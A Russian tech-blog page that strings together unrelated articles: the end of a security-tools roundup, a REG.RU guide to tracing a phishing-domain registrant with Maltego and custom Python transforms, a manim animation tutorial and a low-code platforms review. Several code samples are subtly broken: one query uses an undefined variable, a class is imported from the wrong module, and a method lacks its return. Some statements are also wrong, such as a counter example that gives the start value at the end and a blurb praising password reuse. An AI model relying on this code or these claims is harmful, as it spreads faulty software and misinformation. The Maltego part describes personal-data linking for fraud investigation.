Инструмент для контроля за идентификацией. Отлично подходит для офисного ПО, что позволяет работникам использовать один и тот же пароль для разных учетных записей. Есть функция мастер-пароля, что позволяет обезопасить личные и конфиденциальные данные от незаконного вторжения.
Tor
Tor
Обеспечивает конфиденциальность клиента во Всемирной паутине при помощи маршрутизации запросов на разных прокси-серверах для того, чтобы их невозможно было отследить. Это обеспечивает должный уровень безопасности пользователя от вредоносных выходных узлов и лишнего сетевого трафика.
TrueCrypt
Несмотря на то, что последние обновления вышли уже несколько лет назад – TrueCrypt держится в ТОП лучших и часто используемых инструментов по ИБ. Здесь есть возможность шифровки раздела носителя, устройств хранения и генерация виртуальных дисков.
***
Сегодня кибербезопасность стремительно развивается и оперативно отражает, а порой и предупреждает хакерские атаки на сети. Мы представили 27 самых эффективных и популярных инструментов, которые будут полезны как профессиональным специалистам по ИБ, так новичкам и любителям.
Рекомендуем попробовать бесплатные версии программ, чтобы убедиться в их полезности именно для ваших целей – в каждой из них есть уникальные функции, подходящие для разных компаний и предприятий.
В сети вот уже несколько лет ходят разговоры о том, что самая популярная CMS в мире канула в Лету, уступив место другим более свежим решениям. В статье попытаемся выяснить, так ли это на самом деле и какие проблемы существуют у этой платфор…
Интересные факты из ежегодного веб-альманаха. Узнайте, какая JS-библиотека самая популярная и сколько весит перегруженная CSS страница.
— Читать дальше «Самые интересные факты из веб-альманаха 2021»
…
На митапе расскажут о развитии виртуальных ассистентов, поделятся способами монетизации на платформе SmartMarket и лайфхаками разработки мультимодального взаимодействия с цифровыми помощниками.
— Читать дальше «Митап «О развитии виртуальных ассистентов…
В REG.RU мы часто сталкиваемся с разными случаями мошеннической активности: от спама и регистрации фишинговых доменов до взломов аккаунтов клиентов и угонов доменов. Некоторые случаи требуют тщательного расследования и анализа, в том числе с помощью специального ПО. Сегодня мы расскажем о программе Maltego, и как с помощью неё вычислить мошенника. Это не рекламная статья. Все примеры и кейсы вымышлены, совпадения случайны.
Что такое Maltego?
Maltego – это программа для автоматизации сбора информации из различных источников и дальнейшего представления в удобном графическом формате, где наглядно видны связи между разными объектами. Инструмент также применяется в расследованиях и разведке на основе открытых/закрытых источников.
Есть несколько вариантов лицензий Maltego:
Бесплатные Maltego CaseFile, Maltego Community Edition
Платные Maltego Professional, Maltego Enterprise
Вся информация в Maltego представлена в виде графа (схемы с указанием узлов и связей).
Пример представления информации в Maltego
В графе отображены различные объекты (Entities). Объектом может быть любая единица информации: IP-адрес, домен, email, номер телефона, ФИО, организация и т.д. Объекты соединяются связями (Links).
Пример связей между объектами в Maltego
Добавлять объекты и связи можно как вручную, так и автоматически, используя трансформации (Transforms) – скрипты, которые ищут данные о выбранном объекте в различных источниках и выводят её на граф в виде объектов.
Также в Maltego есть набор встроенных трансформаций. Например, для получения информации об IP-адресе есть большой набор встроенных трансформаций: получение данных Whois, местоположения, проверка по базам фродов и спискам нод TOR.
Трансформации можно скачивать и устанавливать дополнительно из маркетплейса Transforms Hub в самой программе.
Интерфейс Maltego Transforms Hub
Для скачивания некоторых трансформаций из хаба потребуется API-ключ для сервисов, откуда запрашивается информация. Для этого потребуется зарегистрироваться на самих этих сервисах.
Можно также писать собственные трансформации, что пригодится для поиска информации по внутренним источникам.
Применение в расследованиях
Возможности Maltego полезны для расследований компьютерных инцидентов, например, когда нужно проанализировать большие объёмы информации из логов и баз данных, выявить взаимосвязи и найти улики. Давайте разберём, что может программа на примере вымышленного, но типичного расследования.
Расследование: найти создателя фишинговых сайтов
Сценарий: Поступила жалоба на фишинговый сайт, который имитирует сайт банка и ворует данные кредитных карт. Доменное имя сайта MOB-VTB24.RU похоже на домен банка ВТБ. Сайт, расположенный на этом домене внешне похож на сайт банка а также запрашивает данные банковской карты, а значит используется для фишинга. Сразу предположим, что злоумышленник вряд ли мог ограничиться одним доменом, к тому же он мог завести несколько разных аккаунтов.
Цель расследования: Найти все домены злоумышленника, удостовериться что они фишинговые, и заблокировать его аккаунты. Домены отправить на идентификацию данных администратора.
Гипотезы: Из логов мы можем как минимум узнать IP-адреса, значения сookie, User-Agent браузера и другие параметры системы, таким образом получить цифровой отпечаток злоумышленника. Потому что при создании нового аккаунта в Личном кабинете для регистрации домена необходимо указать email, телефон, а также в некоторых случаях ФИО, адрес и паспортные данные.
Более того, мошенник может забыть скрыть свой настоящий IP-адрес, используя proxy или VPN, и тем самым выдать себя. Или в одной сессии зайти в два своих аккаунта, благодаря чему мы легко найдём связь между ними. Он может указать одинаковые регистрационные данные, такие как email и телефон. Также косвенные признаки, например, использование специфичного почтового сервиса для регистрации большого количества email.
Чем больше данных мы обработаем, тем выше вероятность обнаружения взаимосвязей. Ручная обработка из разных источников (баз данных, логов) и их сопоставление – довольно трудозатратное и рутинное занятие, которое может быть похоже на известный мем.
Поэтому обратимся к Maltego. Создадим новый граф и сразу добавим на него доменное имя MOB-VTB-24.RU.
В Entity Palette доступен список типов объектов, которые можно перетащить на граф. Найдём там объект Domain и перетащим его в основное окно графа и зададим доменное имя.
Вставлять объекты также можно из буфера обмена. Типы объектов Maltego распознаёт автоматически. Если распознавание прошло некорректно, можно изменить тип объекта, выбрав в контекстном меню Change Type.
В этом же контекстном меню можно выбирать и установленные трансформации.
Добавление новых типов Entities
В первую очередь нам нужно получить регистрационную информацию домена (ФИО, email и телефон) и аккаунт его владельца из базы данных. Для этого нужно создать тип объекта User (для отображения аккаунта), а также написать трансформации для поиска домена по базе. Все запросы в базу, указанные ниже, изменены и упрощены, и служат только для образовательных целей.
Найдём во вкладке Entities мастер создания типов объектов.
Создадим тип объекта User и настроим основное свойство объекта: user_id
Теперь добавим трансформацию, которая будет выводить данные домена и аккаунт владельца
Библиотека для написания трансформаций maltego_trx
Для написания трансформаций будем использовать Python-библиотеку под названием maltego_trx (https://github.com/paterva/maltego-trx/) для Python версии 3.6 и новее.
Установить библиотеку можно командой:
pip install maltego-trx
После установки создаём новый проект:
maltego-trx start new_project
После создания проекта файлы для наших трансформаций будут располагаться в папке new_project/transforms/
Пример: трансформация GreetPerson
В качестве примера рассмотрим трансформацию GreetPerson, которая уже есть в папке, она выводит приветствие:
new_project/transforms/GreetPerson.py
from maltego_trx.entities import Phrase
from maltego_trx.transform import DiscoverableTransform
class GreetPerson(DiscoverableTransform):
"""
Returns a phrase greeting a person on the graph.
"""
@classmethod
def create_entities(cls, request, response):
person_name = request.Value
response.addEntity(Phrase, "Hi %s, nice to meet you!" % person_name)
Создание трансформации SearchDomain
Для трансформации нужно создать новый класс и унаследовать его от DiscoverableTransform, переопределить метод create_entities, в котором и будет происходить вся логика по поиску данных и добавления объектов на граф.
Добавление объектов на граф выполняется с помощью метода response.addEntity.
from maltego_trx.transform import DiscoverableTransform
import MySQLdb
# Наследуем наш класс от DiscoverableTransform
class SearchDomain(DiscoverableTransform):
"""
Выполняет поиск домена.
"""
# Переопределяем метод create_entities
@classmethod
def create_entities(cls, request, response):
# Получаем входящее значение
email = request.Value
# Инициализируем подключение к базе
db = MySQLdb.connect(host='database.host',
port='3306',
user='user',
passwd='password',
db='db',
charset="utf8")
cursor = db.cursor(MySQLdb.cursors.DictCursor)
# Выполняем поиск по таблице domains
cursor.execute("""select user_id, name, phone, email
from domain
where domain = %s
""", [domain])
rows = cursor.fetchall()
# В зависимости от поля добавляем на граф
# объекты соответствующих типов
for row in rows:
response.addEntity('yourorganization.User', row['user_id'])
response.addEntity('maltego.Person', row['name'])
response.addEntity('maltego.PhoneNumber', row['phone'])
response.addEntity('maltego.EmailAddress', row['email'])
Обратите внимание
Для добавления типа объекта нужно использовать Unique Type Name, которое мы указали при создании (yourorganization.User). Для встроенных объектов можно импортировать соответствующие классы из библиотеки Maltego.
from maltego_trx.entities import Person
...
response.addEntity(Person, row['name'])
Для удобства можно сделать маппинг полей таблицы и объектов Maltego. Это будет полезно, когда разных объектов много.
field_map = {
'user_id': 'yourorganization.User',
'name': 'maltego.Person',
'phone': 'maltego.PhoneNumber',
'email': 'maltego.EmailAddress'
}
for row in rows:
for field in row:
if field_map.get(field):
response.addEntity(field_map[field], row[field])
Добавление трансформации в Maltego
Скрипт нашей трансформации готов, теперь нужно его добавить в Maltego.
Во вкладке Transforms найдём меню New Local Transform и заполним все необходимые параметры.
В значении Input Entity Type нужно выбрать тип объекта, над которым мы будем выполнять эту трансформацию. В этом примере это Person.
Зададим путь к интерпретатору Python3:
project.py – это основной скрипт проекта.
local означает, что трансформация будет работать локально (maltego_trx также позволяет запускать сервер трансформаций python project.py runserver).
searchdomain – это имя нашей трансформации, в зависимости от того как мы назвали класс.
Убедиться, что класс создан правильно и вывести список всех трансформаций проекта можно в директории проекта, выполнив команду python3 project.py list.
Запуск трансформаций
Наконец мы добрались до момента, когда можно запустить нашу трансформацию.
В окне Output можно увидеть логи, а также туда можно вывести отладочную информацию, если нужно найти ошибку в скрипте. Это можно сделать в настройках трансформации в Transform Manager, указав галочку Show debug info.
Каждый объект можно пометить флагом и комментарием:
Аналогичное действие можно сделать в коде трансформации при добавлении объекта:
добавить флажок;
from maltego_trx.maltego import BOOKMARK_CLRS
...
...
me = response.addEntity(
'yourorganization.User', user_id
)
me.setBookmark(BOOKMARK_CLRS["red"])
добавить заметку.
me.setNote("Регистрирует фишинговые домены")
Итак, мы нашли аккаунт пользователя, телефон, email и ФИО. Можем выполнить обратный поиск по этим данным. Для этого нужно добавить соответствующие трансформации по аналогии с SearchEmail.
Обратный поиск
Поиск по номеру телефона выдал нам новые домены и другой аккаунт. Видно, что все домены так или иначе вызывают подозрения и связаны они не только с банками, но и с сервисом BlaBlaCar.
Повторив поиск, только по одному номеру телефона мы выявили ещё 88 доменов.
Выгрузив данные по найденным аккаунтам, получаем дополнительные адреса электронной почты и телефоны. Подключив в качестве источника, например, логи авторизации, найдём также IP-адреса, с которых был вход в найденные аккаунты.
Повторяя шаги по новым объектам, мы можем выявить таким образом целую сеть.
На первый взгляд огромный граф может выглядеть непонятно, но с помощью функции поиска мы можем отсортировать объекты по типу и получить полный список доменов, экспортировать его в нужном формате для дальнейшей работы.
Отсортировав в графе ненужные объекты, выгружаем список доменов и аккаунтов мошенника/ов. Далее, исходя из полученной информации, можно блокировать аккаунты, домены и противодействовать мошеннической активности.
Это только один из примеров, когда можно использовать Maltego для расследований и анализа большого количества взаимосвязанной информации. Можно продолжать добавлять источники и совершенствовать скрипты трансформаций.
Однако ещё один важный момент – оптимизация работы трансформаций с учётом ограничений. Об этом речь пойдёт ниже.
Оптимизация запросов с учётом ограничений
Лицензии Maltego Professional и Maltego Enterprise не имеют каких-либо ограничений. Однако, используя бесплатную версию Maltego Community Edition, можно столкнуться с ограничениями на вывод количества объектов – 12 штук за один раз. Чтобы вывести полный список объектов, нужно повторять трансформацию несколько раз. Ещё один нюанс в том, что это ограниченное число объектов каждый раз выводится случайным образом, но не по порядку, то есть трансформация второй раз может вывести те же результаты, что уже есть на графе. Это дополнительно вынуждает запускать трансформацию.
Немного сгладить этот недостаток можно, усовершенствовав скрипты трансформаций и выводить объекты по порядку и, таким образом, уменьшить количество запросов в базу данных.
Как это сделать – в конце статьи, а пока продолжим поиски.
Итак, доработаем наши трансформации, чтобы выводить объекты по порядку по 12 штук. Оптимизируем следующим образом:
При первом запуске трансформации делаем запрос в базу.
Выводим на экран 12 объектов, остальные сохраняем во временном хранилище, например, в файле.
При повторных запусках считываем объекты из файла по 12 штук. Для этого создадим общий класс для трансформаций, которые будут работать с кэшем. И остальные трансформации будем наследовать уже от него.
CacheTransform
from maltego_trx.transform import DiscoverableTransform
import zlib
import json
class CacheTransform(DiscoverableTransform):
# Переопределяем основной метод,
# который будет выводить объекты на экран
@classmethod
def create_entities(cls, request, response):
# Получаем входное значение
value = request.Value
# Кэшированные объекты будем сохранять
# в файле. Сгенерируем уникальное имя файла
# на основе имени класса и входного значения
transform = cls.__name__
# Входное значение может быть разной длины
# и содержать небезопасные символы.
# Поэтому посчитаем контрольную сумму
crc = zlib.crc32(bytes(value, 'utf-8'))
filename = f"/tmp/maltego_{transform}{crc}"
# Сначала проверим не было ли уже
# что-то записано в кэш
cache = cls.extract_from_cache(response, filename)
# Если в кэше что-то уже есть то читаем оттуда
if cache is not None and len(cache) > 0:
for entity in cache:
response.addEntity(entity["entity_type"], entity["value"])
# Если кэш не обнаружен, то выполняем поиск
else:
entities = cls.search_entities(value)
# Выводим на экран первые 12 объектов
head = entities[:12:]
for entity in head:
response.addEntity(entity["entity_type"], entity["value"])
# Остальные сохраняем в кэш
tail = entities[12::]
if len(tail) > 0:
# Выведем в окно Output сообщение о том,
# сколько элементов было добавлено в кэш
response.addUIMessage(f"Добавлено в кэш {len(tail)} штук")
with open(filename, 'w', encoding='utf-8') as w_file:
# Для безопасного сохранения объектов
# используем формат JSON
json.dump(tail, w_file)
@staticmethod
def extract_from_cache(response, filename):
"""
Читает первые 12 элементов и удаляет их из кэша
"""
try:
with open(f"{filename}", 'r', encoding='utf-8') as file:
entities = json.load(file)
if len(entities) > 0:
head = entities[:12:]
tail = entities[12::]
with open(f"{filename}", 'w', encoding='utf-8') as w_file:
response.addUIMessage(
f"Осталось в кэше {len(tail)} штук"
)
json.dump(tail, w_file)
return head
else:
return []
except FileNotFoundError:
return None
@staticmethod
def search_entities(value):
"""
Метод для поиска данных во внешних источниках
"""
entities = list()
for i in range(1, 15):
entities.append(
{
"entity_type": "maltego.Phrase",
"value": f"Test {i}"
}
)
return entities
Пробуем запустить:
Трансформация вывела на экран 12 объектов и 2 записала в кэш. Вот как выглядит файл с кэшем:
Трансформация SearchDomain (улучшенная)
Теперь мы можем немного модифицировать и ту трансформацию, что создали вначале.
from maltego_trx.transform import CacheTransform
import MySQLdb
# На этот раз наследуем уже
# от CacheTransform
class SearchDomain(CacheTransform):
"""
Выполняет поиск домена.
"""
# Переопределяем другой метод search_entities
@classmethod
def search_entities(value):
# Получаем входящее значение
email = value
# Инициализируем подключение к базе
db = MySQLdb.connect(host='database.host',
port='3306',
user='user',
passwd='password',
db='db',
charset="utf8")
cursor = db.cursor(MySQLdb.cursors.DictCursor)
# Выполняем поиск по таблице domains
cursor.execute("""select user_id, name, phone, email
from domain
where domain = %s
""", [domain])
rows = cursor.fetchall()
# В зависимости от поля добавляем на граф
# объекты соответствующих типов
field_map = {
'user_id': 'yourorganization.User',
'name': 'maltego.Person',
'phone': 'maltego.PhoneNumber',
'email': 'maltego.EmailAddress'
}
# Сохраняем найденные объекты в массив
# А вся логика по выводу и кэшированию
# выполнится в родительском классе
entities = list()
for row in rows:
for field in row:
if field_map.get(field):
entities.append({
"entity_type": field_map[field],
"value": row[field]
})
Теперь если поиск вернёт много объектов, то нам не придётся снова и снова выполнять запросы в базу, можно постепенно вывести все элементы на экран из кэша.
***
Maltego упрощает процесс расследования благодаря автоматизации поиска и представления данных в графическом виде. В статье мы рассмотрели далеко не весь функционал программы. Например, это удобные функции по анализу информации, уже представленной на графе, возможности экспорта данных, объединение трансформаций в так называемые «машины» для ещё большей оптимизации поиска. Всё это можно использовать не только для расследования но и для задач поиска информации по открытым источникам (OSINT).
В средствах для создания дизайна UX/UI легко запутаться, поэтому сначала стоит понять их предназначение. Предлагаем вниманию читателей небольшой обзор актуальных в 2021 году инструментов.
Чтобы оптимизировать ресурс с учётом рекомендаций поисковых систем, нужно сначала провести SEO-аудит и определить внутренние проблемы.
— Читать дальше «Технические ошибки на сайте: как найти и исправить»
…
Manim – библиотека Python для создания математических анимаций. Вы наверняка видели ролики канала 3Blue1Brown, автор которого и написал ее первую версию. Мы же будем изучать созданный сообществом разработчиков форк – manim community.
Установка библиотеки
Вариантов установки масса, но мы рассмотрим установку на локальную машину с операционной системой Windows. Другие варианты вы можете найти в документации. Для нормального функционирования библиотеки необходим ffmpeg. Прямая ссылка для загрузки: https://www.gyan.dev/ffmpeg/builds/ffmpeg-release-essentials.7z.
Архив необходимо распаковать в любое место на диске и внести директорию библиотеки в переменную среды Path. Чтобы это сделать, необходимо зайти в свойства моего компьютера, выбрать дополнительные параметры системы, нажать кнопку переменные среды и добавить в переменную Path путь до папки ffmpeg/bin:
Далее необходимо инсталлировать manim. Вы можете установить библиотеку в основной системе или использовать виртуальные окружения. Пойдем вторым путем.
Создадим папку для нашего будущего проекта manim_ex.
Откроем консоль в выбранной папке и вызовем команду: python -m venv env. Это заклинание создаст виртуальное окружение с именем env.
Необходимый минимум программ инсталлирован, но для полноценной работы потребуется любой дистрибутив LaTeX. Создатели библиотеки рекомендуют использовать MikTeX из-за простоты добавления дополнительных пакетов. Скачиваем и устанавливаем его, не заботясь о выборе. Когда manim будет обращаться к MikTeX и не найдет нужного пакета, встроенный менеджер предложит его скачать.
На этом этапе мы готовы начать знакомится с библиотекой.
Hello world
Manim предлагает пользователю три концепции:
mobject (mathematical object)
animations
scene
Эти концепции реализованы в соответствующих классах: Mobject, Animation, Scene. Прежде, чем углубляться в их структуру, сделаем проект hello-world.
В папке manim-ex создадим файл hello.py и добавим в него следующие строки:
hello.py
from manim import *
class SquareToStar(Scene):
def construct(self):
square = Square()
square.set_fill(GREEN, opacity=0.5)
self.play(Create(square))
Далее возвращаемся в оставленную открытой консоль и выполняем команду:
manim -pql .\hello.py SquareToStar
Начнется процесс рендеринга, в результате которого автоматически откроется окно с похожей анимацией.
Разберемся построчно, что происходит.
from manim import *
Тут мы импортируем все, что содержится в библиотеке в глобальное пространство имен. В общем случае это будет плохой идеей, но разработчики библиотеки рекомендуют именно такой путь импорта, а не поименное указание необходимых функций, классов, констант. Ведь для нашего hello world мы импортировали уже четыре имени: Scene, Square, Green, Create.
class SquareToStar(Scene):
def construct(self):
...
В этой конструкции мы наследуем от класса Scene, в котором нужно перегрузить функцию construct. В ней и происходит сборка сцены: добавление объектов, настройка их дизайна и расположения, настройка анимации.
В этих строках создается объект Square (он же квадрат) и устанавливается зеленый цвет заливки с прозрачностью 0.5. В последней строке внутри метода self.play() создается анимация Create, которая постепенно проявляет объект на сцене.
Усложним пример, сделав трансформацию созданного нами зеленого квадрата в пятиконечную звезду с синим контуром и без фона, которая после исчезнет. Для этого используем следующий код:
hello.py
from manim import *
class SquareToStar(Scene):
def construct(self):
square = Square()
square.set_fill(GREEN, opacity=0.5)
star = Star(outer_radius=2, color = BLUE)
self.play(Create(square))
self.play(Transform(square, star))
self.play(FadeOut(square))
Не забываем вызвать команду:
manim -pql .\hello.py SquareToStar
В результате получаем следующую анимацию:
Структура библиотеки и проектов анимации
После запуска последнего заклинания в папку с проектом добавилась директория media. Внутри нее лежат отрендеренные части нашей сцены и собранный итоговый файл. Найти его можно в каталоге media\videos\hello, где будут созданы папки, соответствующие выбранному качеству рендеринга.
Основным строительным блоком любой сцены manim является mobject.
Такие элементы, как Circle, Axis, Rectangle, Arrow и Star, являются mobject. MObject – не имеющий визуального представления абстрактный класс, от которого наследуются все указанные выше фигуры. При этом стоит обратить внимание, что все используемые manim визуальные объекты являются векторными. Для простоты понимания пока опустим этот момент. Будем всегда использовать понятие mobject, хотя фактически речь идет о его векторном варианте.
Расположение объектов
Чтобы отобразить mobject на экране, нужно передать его в метод add нашей сцены. Создадим сцену, где звезда будет видима одну секунду, а после исчезнет. Код даже не нуждается в комментариях. В новый файл mobjects.py поместим следующее:
mobjects.py
from manim import *
class CreatingMObjects(Scene):
def construct(self):
star = Star()
self.add(star)
self.wait(1)
self.remove(star)
self.wait()
Добавим в этот же файл еще одну сцену:
mobjects.py
class Shapes(Scene):
def construct(self):
star = Star()
square = Square()
circle = Circle()
circle.shift(LEFT)
star.shift(UP)
square.shift(RIGHT)
self.add(star, square, circle)
self.wait(1)
Результат:
По умолчанию, объекты добавляются в начало координат сцены, расположенное в ее центре. Для изменения положения объектов, manim поддерживает много различных способов. Мы использовали новый метод любого mobject – shift(vector). Он сдвигает объект на одну стандартную единицу в сторону указанного вектора или суммы векторов. В нашей сцене созданы объекты звезды, квадрата и круг. Звезда была сдвинута влево на одну единицу, квадрат – вправо, круг – влево. Константы UP, RIGHT, LEFT входят в состав библиотеки manim и представляют собой numpy ndarray. К примеру, UP выглядит следующим образом:
UP: np.ndarray = np.array((0.0, 1.0, 0.0))
Рассмотрим другие способы, позволяющие изменять положение объектов на сцене. Это методы mobject: move_to(), align_to(), next_to().
Добавим новую сцену в файл mobjects.py. Создадим на ней те же объекты, что и в предыдущей: звезду, окружность и квадрат:
mobjects.py
class ShapesPlacement(Scene):
def construct(self):
star = Star()
square = Square()
circle = Circle()
star.move_to(LEFT * 2) # сдвинуть звезду на две единицы влево
square.next_to(star, LEFT) # поставить квадрат слева от звезды
circle.align_to(star, LEFT) # выровнять левую границу круга с левой границей звезды
self.add(star, square, circle)
self.wait(1)
Результат работы следующий:
Метод move_to() использует абсолютные координаты, т.е. относительно начала координат. next_to() использует координаты относительно объекта, переданного ему первым параметром. align_to() использует левую границу объектов для выравнивания по нужной стороне. Для расчетов положения используется квадрат, описанный вокруг любого объекта сцены. Его не видно, но это фишка движка рендеринга библиотеки.
Стиль и порядок отображения объектов
Чтобы изменить стиль объекта, используются следующие методы: set_stroke(), set_fill() и set_color().
Создадим еще одну сцену ShapesStyle со следующим содержимым:
mobjects.py
class ShapesStyle(Scene):
def construct(self):
star = Star().shift(LEFT)
square = Square().shift(RIGHT)
circle = Circle().shift(UP)
star.set_color(RED)
square.set_fill(color=YELLOW, opacity=0.5)
circle.set_stroke(PINK, width=20)
self.add(star, square, circle)
self.wait(1)
Обратите внимание, что объекты manim поддерживают chaining.
star = Star().shift(LEFT)
set_stroke()используется для установки рамки заданной толщины и цвета.
set_color() изменяет цвет обводки фигуры.
set_fill() заполняет фигуру выбранным цветом с заданной прозрачностью в диапазоне от 0.0 (полностью прозрачный) до 1.0 (полностью непрозрачный).
Как бы это странно ни выглядело, но в manim три оси, а не две. Третья ось, которая смотрит на наблюдателя перпендикулярно плоскости монитора, отвечает за порядок отображения объектов на сцене. Чтобы изменить его, достаточно поменять порядок передачи объектов в метод сцены add(). Изменим в предыдущем коде предпоследнюю строку на следующую:
self.add(circle, star, square)
В результате последний объект списка оказался на самом верху. У нас это квадрат.
Анимации
Наконец мы с вами добрались до самого сочного, что есть в этой библиотеке – до анимаций.
Чтобы добавить анимацию, необходимо вызвать метод сцены play(). Создадим новый файл manim_animations.py и добавим в него следующий код:
manim_animations.py
from manim import *
class ShapeAnimation(Scene):
def construct(self):
square = Square()
self.add(square)
self.play(FadeIn(square))
self.play(Rotate(square, PI/4))
self.play(FadeOut(square))
self.wait(1)
Результат будет следующим:
Разберемся по строкам, что здесь происходит:
Создаем объект квадрата.
Добавляем его в начало координат сцены.
Проигрываем анимацию FadeIn (появление объекта).
Проигрываем анимацию Rotate (поворот объекта) на угол PI/4.
FadeIn и FadeOut плавно изменяют прозрачность объекта от 0 до 1 и 1 до 0 соответственно.
Кроме того, любое свойство mobject, которое может быть изменено, может быть и анимировано с помощью метода animate(). Создадим новую сцену, чтобы это продемонстрировать. Добавим квадрат красного цвета, изменим его цвет и сместим с поворот на одну единицу вверх.
animate() – это свойство любого mobject, которое анимирует все, что идет за ним по цепочке. Например, чтобы анимировать свойство set_fill(WHITE), необходимо его вызвать следующим образом:
animate.set_fill(WHITE)
По умолчанию, все переданные в качестве аргументов в play() анимации проигрываются одну секунду. Чтобы изменить это время, необходимо задать параметр run_time. Создадим новую сцену, чтобы это продемонстрировать.
Тут анимация движения квадрата длится не одну секунду, а три.
Хотя manim имеет множество встроенных анимаций, вам может их не хватить. Чтобы реализовать собственные, придется создать и собственного наследника класса Animation, в котором необходимо перегрузить метод interpolate_mobject(). Он получает параметр alpha, который начинается с 0 и изменяется на протяжении всей анимации. Manim предоставляет этот параметр в методе interpolate_mobject() на основе частоты кадров видео и времени воспроизведения анимации. Он изменяется 0 до 1 и скрывает под собой относительное время анимации. Т.е. 0 – начало анимации, 0.5 – середина, 1 – конец.
Для примера создадим анимацию преобразования одного числа в другое. В manim присутствует анимация этой трансформации, FadeTransform, но она преобразует одно число в другое через исчезновение первого и появление второго. Мы сделаем по-другому. Пусть наша трансформация будет выглядеть, как счетчик от стартового до конечного числа. Для этого создадим класс CountAnimation, который является наследником Animation.
Для полного понимания, рассмотрим подробнее параметр alpha.
Создадим анимацию преобразования числа 50 в число 100. Тогда alpha будет иметь следующие значения:
alpha = 0, тогда текущее значение равняется 50, т.е. стартовому.
alpha = 0.5, тогда текущее значение равняется 75.
alpha = 1, тогда текущее значение равняется 50, т.е. конечному.
Мы начинаем со стартового числа и добавляем только некоторую часть разницы между концом и началом, которая будет увеличиваться в соответствии с альфа-значением. Итак, логика вычисления числа для отображения на каждом шаге будет следующей:
50+alpha⋅(100−50)
Реализуем классы анимации и сцены. Создадим файл count_animation.py в папке с проектом:
count_animation.py
from manim import *
class CountAnimation(Animation):
def __init__(self, number: DecimalNumber, start: float, end: float, **kwargs) -> None:
super().__init__(number, **kwargs)
self.start = start
self.end = end
def interpolate_mobject(self, alpha: float) -> None:
value = self.start + (alpha * (self.end - self.start))
self.mobject.set_value(value)
class CustomCountingScene(Scene):
def construct(self):
number = DecimalNumber().set_color(WHITE).scale(5)
number.add_updater(lambda number: number.move_to(ORIGIN))
self.add(number)
self.wait()
self.play(CountAnimation(number, 0, 100), run_time=4, rate_func=linear)
self.wait()
DecimalNumber – это еще один Mobject. Наша анимация принимает в свой конструктор объект number, и начальные и конечные значения от 0 до 100, преобразование будет занимать 4 секунды, а скорость преобразования будет линейной. В результате получим следующую анимацию:
Трансформации
Трансформация – это тоже анимация, которая преобразует один mobject в другой. В самом начале статьи мы с вами использовали трансформацию квадрата в звезду.
Для примера, создадим трансформацию квадрата в круг в новом файле transform.py со следующим содержимым:
transform.py
from manim import *
class SquareToCircleScene(Scene):
def construct(self):
square = Square().set_fill(BLUE, opacity=1.0)
circle = Circle().set_fill(RED, opacity=1.0)
self.add(square)
self.play(Transform(square, circle), run_time=2)
self.wait()
Существует немало платформ Low и No-Code, позволяющих разрабатывать приложения для бизнеса. В небольшом обзоре выделим 7 лучших решений и рассмотрим их более подробно.
С появлением платформ Low и No-Code создавать коммерческие приложения стало проще чем когда-либо. Благодаря им появилась возможность разрабатывать сложные программы за небольшой срок, не тратя на это огромных денег. Вдобавок вам необязательно быть экспертом-кодером, чтобы реализовать необходимую для бизнеса функциональность, ведь воплотить в жизнь задуманное можно практически без навыков программирования.
В таких платформ используется графический интерфейс с минимальной логикой и возможностью перетаскивания нужных функциональных блоков вместо написания бесчисленных строк кода. Они способны автоматизировать рабочие процессы, а также предлагают полезные инструменты для разработки бизнес-идей.
Преимущества:
Высокая производительность. Больше приложений за меньшее время из-за отсутствия необходимости писать длинные кодовые конструкции
Снижение расходов из-за отсутствия потребности в услугах команд разработчиков и использовании дорогих инструментов.
Гибкость бизнеса. Есть возможность создавать кроссплатформенные приложения, работающие на разных устройствах.
Эффективное управление: правила и условия ведения бизнеса на рынке часто меняются, простая автоматизация поможет вам свести риски к минимуму.
Airtable – мощная платформа с большой базой данных, которой доверяют более 200 тысяч организаций по всему миру. С ее помощью вы модернизируете свои бизнес-процессы благодаря созданию эффективных приложений для решения широкого круга задач.
Здесь вы найдете множество полезных шаблонов для планирования и запуска новых продуктов, настройки каталога товаров, логистики, анализа рынка и многого другого. Для большей продуктивности есть функция совместной работы, настраиваемые уведомления и автоматизация повторяющихся задач.
Вы сможете оптимизировать рабочий процесс, интегрировав в приложения такие сервисы, как Slack, Gmail, Facebook, Twitter, Teams, Google Sheets и т.д. Airtable позволяет работать из любого места и в любое время. Вы можете редактировать, комментировать и синхронизировать изменения на всех устройствах, используя настольные и мобильные приложения.
Платформа предоставит вам возможность создавать любые программы с низким уровнем кода для решения связанных с изменчивыми условиями бизнеса проблем. Доступны готовые шаблоны и встроенная функциональность перетаскивания.
В Power Apps есть мощные инструменты для работы, включая встроенные компоненты искусственного интеллекта. С его помощью вы сможете подключиться к многочисленным источникам данных и получать ценные сведения, используя мощные коннекторы и Microsoft Dataverse. Функции приложения расширяются при помощи Office 365 и Dynamics 365. Разработанные продукты легко масштабируются и интегрируются со сторонними сервисами, их можно использовать совместно с коллегами, работая на разных устройствах.
Отличный вариант для создания надежных масштабируемых облачных low-code сервисов и программ. Платформу использует более 15 тысяч зарегистрированных клиентов, от государственных учреждений и глобальных корпораций, до малых предприятий, университетов и некоммерческих организаций.
Caspio поможет вам в планировании дизайна базы данных, в работе с пользователями, в управлении бизнес-процессами и в решении рутинных задач. Платформа предлагает интуитивно понятные инструменты для визуальной разработки облачных приложений с формами, панелями мониторинга и отчетами.
Вы поймете, как проектировать, разрабатывать и управлять своими программами. Сможете безупречно встраивать их в любой портал, сайт или CMS. Caspio работает на SQL Server и AWS – это отличный стек технологий для лучшей производительности и безопасности. Его можно использовать в сфере продаж, маркетинга, ИТ, администрирования, поддержки, HR и финансов.
Платформа поддерживает 11 основных языков, предоставляет возможность работы с международными валютами и учитывает часовые пояса. Использует технологию зашифрованных паролей и контроля доступа на основе IP. Интегрируется со всеми известными бизнес-сервисами.
OutSystems трансформирует разработку программного обеспечения и помогает быстро создавать и развертывать сложные приложения с использованием облачных решений, DevOps и AI. С OutSystems становится легко справляться с рутинными бизнес-процессами с учетом изменчивых потребностей рынка. Платформа предлагает множество сервисов автоматизации и интегрированных инструментов для создания безопасных, масштабируемых, простых в управлении и отказоустойчивых приложений.
OutSystems ускоряет и упрощает оптимизацию жизненного цикла программ, предоставляя для работы новейшие облачные технологии. Также она имеет удобный пользовательский интерфейс с функцией перетаскивания и возможностью разрабатывать программы для любых устройств. Их можно обновлять и развертывать при помощи одного щелчка мыши, быстро анализируя модели и рефакторинг зависимостей. Есть функции защиты учетной записи и синхронизации данных в автономном режиме.
